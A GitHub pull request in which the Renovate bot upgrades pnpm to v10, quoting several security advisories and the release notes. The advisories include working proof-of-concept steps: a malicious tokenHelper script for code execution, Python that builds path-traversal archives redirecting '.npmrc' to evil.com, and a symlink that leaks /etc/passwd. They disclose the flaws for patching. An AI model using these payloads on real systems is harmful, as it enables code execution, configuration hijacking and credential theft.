chore(deps): update pnpm to v10 [security] #24

renovate · 2025-09-26T06:41:14Z

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package	Change	Age	Confidence
pnpm (source)	`9.15.1` → `10.28.2`
pnpm (source)	`>=9.15.1` → `>=10.28.2`

pnpm uses the md5 path shortening function causes packet paths to coincide, which causes indirect packet overwriting

CVE-2024-47829 / GHSA-8cc4-rfj6-fhg4

More information

Details

The path shortening function is used in pnpm：

export function depPathToFilename (depPath: string, maxLengthWithoutHash: number): string {
  let filename = depPathToFilenameUnescaped(depPath).replace(/[\\/:*?"<>|]/g, '+')
  if (filename.includes('(')) {
    filename = filename
      .replace(/\)$/, '')
      .replace(/(\)\()|\(|\)/g, '_')
  }
  if (filename.length > maxLengthWithoutHash || filename !== filename.toLowerCase() && !filename.startsWith('file+')) {
    return `${filename.substring(0, maxLengthWithoutHash - 27)}_${createBase32Hash(filename)}`
  }
  return filename
}

However, it uses the md5 function as a path shortening compression function, and if a collision occurs, it will result in the same storage path for two different libraries. Although the real names are under the package name /node_modoules/, there are no version numbers for the libraries they refer to.

In the diagram, we assume that two packages are called packageA and packageB, and that the first 90 digits of their package names must be the same, and that the hash value of the package names with versions must be the same. Then C is the package that they both reference, but with a different version number. (npm allows package names up to 214 bytes, so constructing such a collision package name is obvious.)

Then hash(packageA@1.2.3)=hash(packageB@3.4.5). This results in the same path for the installation, and thus under the same directory. Although the package names under node_modoules are the full paths again, they are shared with C.
What is the exact version number of C?
In our local tests, it depends on which one is installed later. If packageB is installed later, the C version number will change to 2.0.0. At this time, although package A requires the C@1.0.0 version, package. json will only work during installation, and will not affect the actual operation.
We did not receive any installation error issues from pnpm during our local testing, nor did we use force, which is clearly a case that can be triggered.

For a package with a package name + version number longer than 120, another package can be constructed to introduce an indirect reference to a lower version, such as one with some known vulnerability.
Alternatively, it is possible to construct two packages with more than 120 package names + version numbers.
This is clearly an advantage for those intent on carrying out supply chain attacks.

The solution:
The repair cost is also very low, just need to upgrade the md5 function to sha256.

Severity

CVSS Score: 6.5 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:L

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

pnpm Has Lockfile Integrity Bypass that Allows Remote Dynamic Dependencies

CVE-2025-69263 / GHSA-7vhp-vf5g-r2fw

More information

Details

Summary

HTTP tarball dependencies (and git-hosted tarballs) are stored in the lockfile without integrity hashes. This allows the remote server to serve different content on each install, even when a lockfile is committed.

Details

When a package depends on an HTTP tarball URL, pnpm's tarball resolver returns only the URL without computing an integrity hash:

resolving/tarball-resolver/src/index.ts:

return {
  resolution: {
    tarball: resolvedUrl,
    // No integrity field
  },
  resolvedVia: 'url',
}

The resulting lockfile entry has no integrity to verify:

remote-dynamic-dependency@http://example.com/pkg.tgz:
  resolution: {tarball: http://example.com/pkg.tgz}
  version: 1.0.0

Since there is no integrity hash, pnpm cannot detect when the server returns different content.

This affects:

HTTP/HTTPS tarball URLs ("pkg": "https://example.com/pkg.tgz")
Git shorthand dependencies ("pkg": "github:user/repo")
Git URLs ("pkg": "git+https://github.com/user/repo")

npm registry packages are not affected as they include integrity hashes from the registry metadata.

PoC

See attached pnpm-bypass-integrity-poc.zip

The POC includes:

A server that returns different tarball content on each request
A malicious-package that depends on the HTTP tarball
A victim project that depends on malicious-package

To run:

cd pnpm-bypass-integrity-poc
./run-poc.sh

The output shows that each install (with pnpm store prune between them) downloads different code despite having a committed lockfile.

Impact

An attacker who publishes a package with an HTTP tarball dependency can serve different code to different users or CI/CD environments. This enables:

Targeted attacks based on request metadata (IP, headers, timing)
Evasion of security audits (serve benign code during review, malicious code later)
Supply chain attacks where the malicious payload changes over time

The attack requires the victim to install a package that has an HTTP/git tarball in its dependency tree. The victim's lockfile provides no protection.

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

pnpm vulnerable to Command Injection via environment variable substitution

CVE-2025-69262 / GHSA-2phv-j68v-wwqx

More information

Details

Summary

A command injection vulnerability exists in pnpm when using environment variable substitution in .npmrc configuration files with tokenHelper settings. An attacker who can control environment variables during pnpm operations could achieve remote code execution (RCE) in build environments.

Affected Components

Package: pnpm
Versions: All versions using @pnpm/config.env-replace and loadToken functionality
File: pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts - loadToken() function
File: pnpm/config/config/src/readLocalConfig.ts - .npmrc environment variable substitution

Technical Details

Vulnerability Chain

Environment Variable Substitution
- .npmrc supports ${VAR} syntax
- Substitution occurs in readLocalConfig()
loadToken Execution
- Uses spawnSync(helperPath, { shell: true })
- Only validates absolute path existence
Attack Flow

.npmrc: registry.npmjs.org/:tokenHelper=${HELPER_PATH}
   ↓
envReplace() → /tmp/evil-helper.sh
   ↓
loadToken() → spawnSync(..., { shell: true })
   ↓
RCE achieved

Code Evidence

pnpm/config/config/src/readLocalConfig.ts:17-18

key = envReplace(key, process.env)
ini[key] = parseField(types, envReplace(val, process.env), key)

pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts:60-71

export function loadToken(helperPath: string, settingName: string): string {
  if (!path.isAbsolute(helperPath) || !fs.existsSync(helperPath)) {
    throw new PnpmError('BAD_TOKEN_HELPER_PATH', ...)
  }
  const spawnResult = spawnSync(helperPath, { shell: true })
  // ...
}

Proof of Concept

Prerequisites

Private npm registry access
Control over environment variables
Ability to place scripts in filesystem

PoC Steps

##### 1. Create malicious helper script
cat > /tmp/evil-helper.sh << 'SCRIPT'

#!/bin/bash
echo "RCE SUCCESS!" > /tmp/rce-log.txt
echo "TOKEN_12345"
SCRIPT
chmod +x /tmp/evil-helper.sh

##### 2. Create .npmrc with environment variable
cat > .npmrc << 'EOF'
registry=https://registry.npmjs.org/
registry.npmjs.org/:tokenHelper=${HELPER_PATH}
EOF

##### 3. Set environment variable (attacker controlled)
export HELPER_PATH=/tmp/evil-helper.sh

##### 4. Trigger pnpm install
pnpm install  # RCE occurs during auth

##### 5. Verify attack
cat /tmp/rce-log.txt

PoC Results

==> Attack successful
==> File created: /tmp/rce-log.txt
==> Arbitrary code execution confirmed

Impact

Severity

CVSS Score: 7.6 (High)
CVSS Vector: cvss:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H

Affected Environments

High Risk:

CI/CD pipelines (GitHub Actions, GitLab CI)
Docker build environments
Kubernetes deployments
Private registry users

Low Risk:

Public registry only
Production runtime (no pnpm execution)
Static sites

Attack Scenarios

Scenario 1: CI/CD Supply Chain

Repository → Build Trigger → pnpm install → RCE → Production Deploy

Scenario 2: Docker Build

FROM node:20
ARG HELPER_PATH=/tmp/evil
COPY .npmrc .
RUN pnpm install  # RCE

Scenario 3: Kubernetes

Secret Control → Env Variable → .npmrc Substitution → RCE

Mitigation

Temporary Workarounds

Disable tokenHelper:

##### .npmrc
##### registry.npmjs.org/:tokenHelper=${HELPER_PATH}

Use direct tokens:

//registry.npmjs.org/:_authToken=YOUR_TOKEN

Audit environment variables:

Review CI/CD env vars
Restrict .npmrc changes
Monitor build logs

Recommended Fixes

Remove shell: true from loadToken
Implement helper path allowlist
Validate substituted paths
Consider sandboxing

Disclosure

Discovery: 2025-11-02
PoC: 2025-11-02
Report: [Pending disclosure decision]

References

Repository: https://github.com/pnpm/pnpm
Affected: @pnpm/config.env-replace@^3.0.2
Similar: CVE-2024-53866, CVE-2023-37478

Credit

Reported by: Jiyong Yang
Contact: sy2n0@naver.com

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

pnpm has Windows-specific tarball Path Traversal

CVE-2026-23889 / GHSA-6x96-7vc8-cm3p

More information

Details

Summary

A path traversal vulnerability in pnpm's tarball extraction allows malicious packages to write files outside the package directory on Windows. The path normalization only checks for ./ but not .\. On Windows, backslashes are directory separators, enabling path traversal.

This vulnerability is Windows-only.

Details

1. Incomplete Path Normalization (store/cafs/src/parseTarball.ts:107-110)

if (fileName.includes('./')) {
  fileName = path.posix.join('/', fileName).slice(1)
}

A path like foo\..\..\.npmrc does NOT contain ./ and bypasses this check.

2. Platform-Dependent Behavior (fs/indexed-pkg-importer/src/importIndexedDir.ts:97-98)

On Unix: Backslashes are literal filename characters (safe)
On Windows: Backslashes are directory separators (exploitable)

PoC

Create a malicious tarball with entry package/foo\..\..\.npmrc
Host it or use as a tarball URL dependency
On Windows: pnpm install
Observe .npmrc written outside package directory

import tarfile, io

tar_buffer = io.BytesIO()
with tarfile.open(fileobj=tar_buffer, mode='w:gz') as tar:
    pkg_json = b'{"name": "malicious-pkg", "version": "1.0.0"}'
    pkg_info = tarfile.TarInfo(name='package/package.json')
    pkg_info.size = len(pkg_json)
    tar.addfile(pkg_info, io.BytesIO(pkg_json))

    malicious_content = b'registry=https://evil.com/\n'
    mal_info = tarfile.TarInfo(name='package/foo\\..\\..\\.npmrc')
    mal_info.size = len(malicious_content)
    tar.addfile(mal_info, io.BytesIO(malicious_content))

with open('malicious-pkg-1.0.0.tgz', 'wb') as f:
    f.write(tar_buffer.getvalue())

Impact

Windows pnpm users
Windows CI/CD pipelines (GitHub Actions Windows runners, Azure DevOps)
Can overwrite .npmrc, build configs, or other files

Verified on pnpm main @ commit 5a0ed1d45.

Severity

CVSS Score: 6.5 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

pnpm scoped bin name Path Traversal allows arbitrary file creation outside node_modules/.bin

CVE-2026-23890 / GHSA-xpqm-wm3m-f34h

More information

Details

Summary

A path traversal vulnerability in pnpm's bin linking allows malicious npm packages to create executable shims or symlinks outside of node_modules/.bin. Bin names starting with @ bypass validation, and after scope normalization, path traversal sequences like ../../ remain intact.

Details

The vulnerability exists in the bin name validation and normalization logic:

1. Validation Bypass (pkg-manager/package-bins/src/index.ts)

The filter allows any bin name starting with @ to pass through without validation:

.filter((commandName) =>
  encodeURIComponent(commandName) === commandName ||
  commandName === '' ||
  commandName[0] === '@&#8203;'  // <-- Bypasses validation
)

2. Incomplete Normalization (pkg-manager/package-bins/src/index.ts)

function normalizeBinName (name: string): string {
  return name[0] === '@&#8203;' ? name.slice(name.indexOf('/') + 1) : name
}
// Input:  @&#8203;scope/../../evil
// Output: ../../evil  <-- Path traversal preserved!

3. Exploitation (pkg-manager/link-bins/src/index.ts:288)

The normalized name is used directly in path.join() without validation.

PoC

Create a malicious package:

{
  "name": "malicious-pkg",
  "version": "1.0.0",
  "bin": {
    "@&#8203;scope/../../.npmrc": "./malicious.js"
  }
}

Install the package:

pnpm add /path/to/malicious-pkg

Observe .npmrc created in project root (outside node_modules/.bin).

Impact

All pnpm users who install npm packages
CI/CD pipelines using pnpm
Can overwrite config files, scripts, or other sensitive files

Verified on pnpm main @ commit 5a0ed1d45.

Severity

CVSS Score: 6.5 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

pnpm: Binary ZIP extraction allows arbitrary file write via path traversal (Zip Slip)

CVE-2026-23888 / GHSA-6pfh-p556-v868

More information

Details

Summary

A path traversal vulnerability in pnpm's binary fetcher allows malicious packages to write files outside the intended extraction directory. The vulnerability has two attack vectors: (1) Malicious ZIP entries containing ../ or absolute paths that escape the extraction root via AdmZip's extractAllTo, and (2) The BinaryResolution.prefix field is concatenated into the extraction path without validation, allowing a crafted prefix like ../../evil to redirect extracted files outside targetDir.

Details

The vulnerability exists in the binary fetching and extraction logic:

1. Unvalidated ZIP Entry Extraction (fetching/binary-fetcher/src/index.ts)

AdmZip's extractAllTo does not validate entry paths for path traversal:

const zip = new AdmZip(buffer)
const nodeDir = basename === '' ? targetDir : path.dirname(targetDir)
const extractedDir = path.join(nodeDir, basename)
zip.extractAllTo(nodeDir, true)  // Entry paths not validated!
await renameOverwrite(extractedDir, targetDir)

A ZIP entry with path ../../../.npmrc will be written outside nodeDir.

2. Unvalidated Prefix in BinaryResolution (resolving/resolver-base/src/index.ts)

The basename variable comes from BinaryResolution.prefix and is used directly in path construction:

const extractedDir = path.join(nodeDir, basename)
// If basename is '../../evil', this points outside nodeDir

PoC

Attack Vector 1: ZIP Entry Path Traversal

import zipfile
import io

zip_buffer = io.BytesIO()
with zipfile.ZipFile(zip_buffer, 'w') as zf:
    # Normal file
    zf.writestr('node-v20.0.0-linux-x64/bin/node', b'#!/bin/sh\necho "legit node"')
    # Malicious path traversal entry
    zf.writestr('../../../.npmrc', b'registry=https://evil.com/\n')

with open('malicious-node.zip', 'wb') as f:
    f.write(zip_buffer.getvalue())

Attack Vector 2: Prefix Traversal via malicious resolution:

{
  "resolution": {
    "type": "binary",
    "url": "https://attacker.com/node.zip",
    "prefix": "../../PWNED"
  }
}

Impact

All pnpm users who install packages with binary assets
Users who configure custom Node.js binary locations
CI/CD pipelines that auto-install binary dependencies
Can overwrite config files, scripts, or other sensitive files leading to RCE

Verified on pnpm main @ commit 5a0ed1d45.

Severity

CVSS Score: 6.5 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

pnpm has Path Traversal via arbitrary file permission modification

CVE-2026-24131 / GHSA-v253-rj99-jwpq

More information

Details

Summary

When pnpm processes a package's directories.bin field, it uses path.join() without validating the result stays within the package root. A malicious npm package can specify "directories": {"bin": "../../../../tmp"} to escape the package directory, causing pnpm to chmod 755 files at arbitrary locations.

Note: Only affects Unix/Linux/macOS. Windows is not affected (fixBin gated by EXECUTABLE_SHEBANG_SUPPORTED).

Details

Vulnerable code in pkg-manager/package-bins/src/index.ts:15-21:

if (manifest.directories?.bin) {
  const binDir = path.join(pkgPath, manifest.directories.bin)  // NO VALIDATION
  const files = await findFiles(binDir)
  // ... files outside package returned, then chmod 755'd
}

The bin field IS protected with isSubdir() at line 53, but directories.bin lacks this check.

PoC

##### Create malicious package
mkdir /tmp/malicious-pkg
echo '{"name":"malicious","version":"1.0.0","directories":{"bin":"../../../../tmp/target"}}' > /tmp/malicious-pkg/package.json

##### Create sensitive file
mkdir -p /tmp/target
echo "secret" > /tmp/target/secret.sh
chmod 600 /tmp/target/secret.sh  # Private

##### Install
pnpm add file:/tmp/malicious-pkg

##### Check permissions
ls -la /tmp/target/secret.sh  # Now 755 (world-readable)

Impact

Supply-chain attack via npm packages
File permissions changed from 600 to 755 (world-readable)
Affects non-dotfiles in predictable paths (dotfiles excluded by tinyglobby default)

Suggested Fix

Add isSubdir validation for directories.bin paths in pkg-manager/package-bins/src/index.ts, matching the existing validation in commandsFromBin():

if (manifest.directories?.bin) {
  const binDir = path.join(pkgPath, manifest.directories.bin)
  if (!isSubdir(pkgPath, binDir)) {
    return []  // Reject paths outside package
  }
  // ...
}

Severity

CVSS Score: 6.7 / 10 (Medium)
Vector String: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

pnpm has symlink traversal in file:/git dependencies

CVE-2026-24056 / GHSA-m733-5w8f-5ggw

More information

Details

Summary

When pnpm installs a file: (directory) or git: dependency, it follows symlinks and reads their target contents without constraining them to the package root. A malicious package containing a symlink to an absolute path (e.g., /etc/passwd, ~/.ssh/id_rsa) causes pnpm to copy that file's contents into node_modules, leaking local data.

Preconditions: Only affects file: and git: dependencies. Registry packages (npm) have symlinks stripped during publish and are NOT affected.

Details

The vulnerability exists in store/cafs/src/addFilesFromDir.ts. The code uses fs.statSync() and readFileSync() which follow symlinks by default:

const absolutePath = path.join(dirname, relativePath)
const stat = fs.statSync(absolutePath)  // Follows symlinks!
const buffer = fs.readFileSync(absolutePath)  // Reads symlink TARGET

There is no check that absolutePath resolves to a location inside the package directory.

PoC

##### Create malicious package
mkdir -p /tmp/evil && cd /tmp/evil
ln -s /etc/passwd leaked-passwd.txt
echo '{"name":"evil","version":"1.0.0","files":["*.txt"]}' > package.json

##### Victim installs
mkdir /tmp/victim && cd /tmp/victim
pnpm init && pnpm add file:../evil

##### Leaked!
cat node_modules/evil/leaked-passwd.txt

Impact

Developers installing local/file dependencies
CI/CD pipelines installing git dependencies
Credential theft via symlinks to ~/.aws/credentials, ~/.npmrc, ~/.ssh/id_rsa

Suggested Fix

Use lstatSync to detect symlinks and reject those pointing outside the package root in store/cafs/src/addFilesFromDir.ts.

Severity

CVSS Score: 6.7 / 10 (Medium)
Vector String: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Release Notes

pnpm/pnpm (pnpm)

`v10.28.2`: pnpm 10.28.2

Compare Source

Patch Changes

Security fix: prevent path traversal in directories.bin field.
When pnpm installs a file: or git: dependency, it now validates that symlinks point within the package directory. Symlinks to paths outside the package root are skipped to prevent local data from being leaked into node_modules.

This fixes a security issue where a malicious package could create symlinks to sensitive files (e.g., /etc/passwd, ~/.ssh/id_rsa) and have their contents copied when the package is installed.

Note: This only affects file: and git: dependencies. Registry packages (npm) have symlinks stripped during publish and are not affected.
Fixed optional dependencies to request full metadata from the registry to get the libc field, which is required for proper platform compatibility checks #9950.

Platinum Sponsors

Gold Sponsors

Patch Changes

Improve error message when a package version exists but does not meet the minimumReleaseAge constraint. The error now clearly states that the version exists and shows a human-readable time since release (e.g., "released 6 hours ago") #10307.
Fix installation of Git dependencies using annotated tags #10335.

Previously, pnpm would store the annotated tag object's SHA in the lockfile instead of the actual commit SHA. This caused ERR_PNPM_GIT_CHECKOUT_FAILED errors because the checked-out commit hash didn't match the stored tag object hash.
Binaries of runtime engines (Node.js, Deno, Bun) are written to node_modules/.bin before lifecycle scripts (install, postinstall, prepare) are executed #10244.
Try to avoid making network calls with preferOffline #10334.

Platinum Sponsors

Gold Sponsors

`v10.26.1`: pnpm 10.26.1

Compare Source

Patch Changes

Don't fail on pnpm add, when blockExoticSubdeps is set to true #10324.
Always resolve git references to full commits and ensure HEAD points to the commit after checkout #10310.

Platinum Sponsors

Gold Sponsors

`v10.26.0`

Compare Source

`v10.25.0`

Compare Source

`v10.24.0`

Compare Source

`v10.23.0`: pnpm 10.23

Compare Source

Minor Changes

Added --lockfile-only option to pnpm list #10020.

Patch Changes

pnpm self-update should download pnpm from the configured npm registry #10205.
pnpm self-update should always install the non-executable pnpm package (pnpm in the registry) and never the @pnpm/exe package, when installing v11 or newer. We currently cannot ship @pnpm/exe as pkg doesn't work with ESM #10190.
Node.js runtime is not added to "dependencies" on pnpm add, if there's a engines.runtime setting declared in package.json #10209.
The installation should fail if an optional dependency cannot be installed due to a trust policy check failure #10208.
pnpm list and pnpm why now display npm: protocol for aliased packages (e.g., foo npm:is-odd@3.0.1) #8660.
Don't add an extra slash to the Node.js mirror URL #10204.
pnpm store prune should not fail if the store contains Node.js packages #10131.

Platinum Sponsors

Gold Sponsors

`v10.22.0`: pnpm 10.22

Compare Source

Minor Changes

Added support for trustPolicyExclude #10164.

You can now list one or more specific packages or versions that pnpm should allow to install, even if those packages don't satisfy the trust policy requirement. For example:
```
trustPolicy: no-downgrade
trustPolicyExclude:
  - chokidar@4.0.3
  - webpack@4.47.0 || 5.102.1
```
Allow to override the engines field on publish by the publishConfig.engines field.

Patch Changes

Don't crash when two processes of pnpm are hardlinking the contents of a directory to the same destination simultaneously #10179.

Platinum Sponsors

Gold Sponsors

`v10.21.0`

Compare Source

`v10.20.0`

Compare Source

Minor Changes

Support --all option in pnpm --help to list all commands #8628.

Patch Changes

When the latest version doesn't satisfy the maturity requirement configured by minimumReleaseAge, pick the highest version that is mature enough, even if it has a different major version #10100.
create command should not verify patch info.
Set managePackageManagerVersions to false, when switching to a different version of pnpm CLI, in order to avoid subsequent switches #10063.

`v10.19.0`

Compare Source

Minor Changes

You can now allow specific versions of dependencies to run postinstall scripts. onlyBuiltDependencies now accepts package names with lists of trusted versions. For example:
```
onlyBuiltDependencies:
  - nx@21.6.4 || 21.6.5
  - esbuild@0.25.1
```
Related PR: #10104.
Added support for exact versions in minimumReleaseAgeExclude #9985.

You can now list one or more specific versions that pnpm should allow to install, even if those versions don’t satisfy the maturity requirement set by minimumReleaseAge. For example:
```
minimumReleaseAge: 1440
minimumReleaseAgeExclude:
  - nx@21.6.5
  - webpack@4.47.0 || 5.102.1
```

`v10.18.3`

Compare Source

Patch Changes

Fix a bug where pnpm would infinitely recurse when using verifyDepsBeforeInstall: install and pre/post install scripts that called other pnpm scripts #10060.
Fixed scoped registry keys (e.g., @scope:registry) being parsed as property paths in pnpm config get when --location=project is used #9362.
Remove pnpm-specific CLI options before passing to npm publish to prevent "Unknown cli config" warnings #9646.
Fixed EISDIR error when bin field points to a directory #9441.
Preserve version and hasBin for variations packages #10022.
Fixed pnpm config set --location=project incorrectly handling keys with slashes (auth tokens, registry settings) #9884.
When both pnpm-workspace.yaml and .npmrc exist, pnpm config set --location=project now writes to pnpm-workspace.yaml (matching read priority) #10072.
Prevent a table width error in pnpm outdated --long #10040.
Sync bin links after injected dependencies are updated by build scripts. This ensures that binaries created during build processes are properly linked and accessible to consuming projects #10057.

`v10.18.2`

Compare Source

Patch Changes

pnpm outdated --long should work #10040.
Replace ndjson with split2. Reduce the bundle size of pnpm CLI #10054.
pnpm dlx should request the full metadata of packages, when minimumReleaseAge is set #9963.
pnpm version switching should work when the pnpm home directory is in a symlinked directory #9715.
Fix EPIPE errors when piping output to other commands #10027.

`v10.18.1`

Compare Source

Patch Changes

Don't print a warning, when --lockfile-only is used #8320.
pnpm setup creates a command shim to the pnpm executable. This is needed to be able to run pnpm self-update on Windows #5700.
When using pnpm catalogs and running a normal pnpm install, pnpm produced false positive warnings for "skip adding to the default catalog because it already exists". This warning now only prints when using pnpm add --save-catalog as originally intended.

`v10.18.0`

Compare Source

Minor Changes

Added network performance monitoring to pnpm by implementing warnings for slow network requests, including both metadata fetches and tarball downloads.

Added configuration options for warning thresholds: fetchWarnTimeoutMs and fetchMinSpeedKiBps.
Warning messages are displayed when requests exceed time thresholds or fall below speed minimums

Related PR: #10025.

Patch Changes

Retry filesystem operations on EAGAIN errors #9959.
Outdated command respects minimumReleaseAge configuration #10030.
Correctly apply the cleanupUnusedCatalogs configuration when removing dependent packages.
Don't fail with a meaningless error when scriptShell is set to false #8748.
pnpm dlx should not fail when minimumReleaseAge is set #10037.

`v10.17.1`

Compare Source

Patch Changes

When a version specifier cannot be resolved because the versions don't satisfy the minimumReleaseAge setting, print this information out in the error message #9974.
Fix state.json creation path when executing pnpm patch in a workspace project #9733.
When minimumReleaseAge is set and the latest tag is not mature enough, prefer a non-deprecated version as the new latest #9987.

`v10.17.0`

[Compare Source](https://redirect.github.com/pnpm/pnpm/compa

Configuration

📅 Schedule: Branch creation - "" in timezone America/New_York, Automerge - Monday through Friday ( * * * * 1-5 ) in timezone America/New_York.

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about these updates again.

If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

Signed-off-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

renovate bot requested a review from kongponents-bot as a code owner September 26, 2025 06:41

renovate bot added dependencies mend-bot labels Sep 26, 2025

renovate bot requested review from a team, Justineo, ValeryG, adamdehaven and jillztom as code owners September 26, 2025 06:41

kongponents-bot previously approved these changes Sep 26, 2025

View reviewed changes

renovate bot added renovate-bot and removed mend-bot labels Oct 19, 2025

renovate bot force-pushed the renovate/npm-pnpm-vulnerability branch from 8a24b0e to 13de21a Compare October 21, 2025 19:12

renovate bot dismissed kongponents-bot’s stale review via e45823a January 8, 2026 06:34

renovate bot force-pushed the renovate/npm-pnpm-vulnerability branch from 13de21a to e45823a Compare January 8, 2026 06:34

renovate bot changed the title ~~chore(deps): update pnpm to v10 [security]~~ chore(deps): update pnpm to v10 [security] - autoclosed Jan 27, 2026

renovate bot closed this Jan 27, 2026

renovate bot deleted the renovate/npm-pnpm-vulnerability branch January 27, 2026 06:40

renovate bot changed the title ~~chore(deps): update pnpm to v10 [security] - autoclosed~~ chore(deps): update pnpm to v10 [security] Jan 28, 2026

renovate bot reopened this Jan 28, 2026

renovate bot force-pushed the renovate/npm-pnpm-vulnerability branch 2 times, most recently from e45823a to ee17bcb Compare January 28, 2026 19:40

chore(deps): update pnpm to v10 [security]

67d35ec

Signed-off-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

renovate bot force-pushed the renovate/npm-pnpm-vulnerability branch from ee17bcb to 67d35ec Compare February 2, 2026 16:33

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

chore(deps): update pnpm to v10 [security] #24

chore(deps): update pnpm to v10 [security] #24

Uh oh!

renovate bot commented Sep 26, 2025 •

edited

Loading

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

1 participant

chore(deps): update pnpm to v10 [security] #24

Are you sure you want to change the base?

chore(deps): update pnpm to v10 [security] #24

Uh oh!

Conversation

renovate bot commented Sep 26, 2025 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

pnpm uses the md5 path shortening function causes packet paths to coincide, which causes indirect packet overwriting

Details

Severity

References

pnpm Has Lockfile Integrity Bypass that Allows Remote Dynamic Dependencies

Details

Summary

Details

PoC

Impact

Severity

References

pnpm vulnerable to Command Injection via environment variable substitution

Details

Summary

Affected Components

Technical Details

Vulnerability Chain

Code Evidence

Proof of Concept

Prerequisites

PoC Steps

PoC Results

Impact

Severity

Affected Environments

Attack Scenarios

Mitigation

Temporary Workarounds

Recommended Fixes

Disclosure

References

Credit

Severity

References

pnpm has Windows-specific tarball Path Traversal

Details

Summary

Details

PoC

Impact

Severity

References

pnpm scoped bin name Path Traversal allows arbitrary file creation outside node_modules/.bin

Details

Summary

Details

PoC

Impact

Severity

References

pnpm: Binary ZIP extraction allows arbitrary file write via path traversal (Zip Slip)

Details

Summary

Details

PoC

Impact

Severity

References

pnpm has Path Traversal via arbitrary file permission modification

Details

Summary

Details

PoC

Impact

Suggested Fix

Severity

References

pnpm has symlink traversal in file:/git dependencies

Details

Summary

Details

PoC

renovate bot commented Sep 26, 2025 •

edited

Loading

`v10.28.2`: pnpm 10.28.2

`v10.26.2`: pnpm 10.26.2

`v10.26.1`: pnpm 10.26.1

`v10.23.0`: pnpm 10.23

`v10.22.0`: pnpm 10.22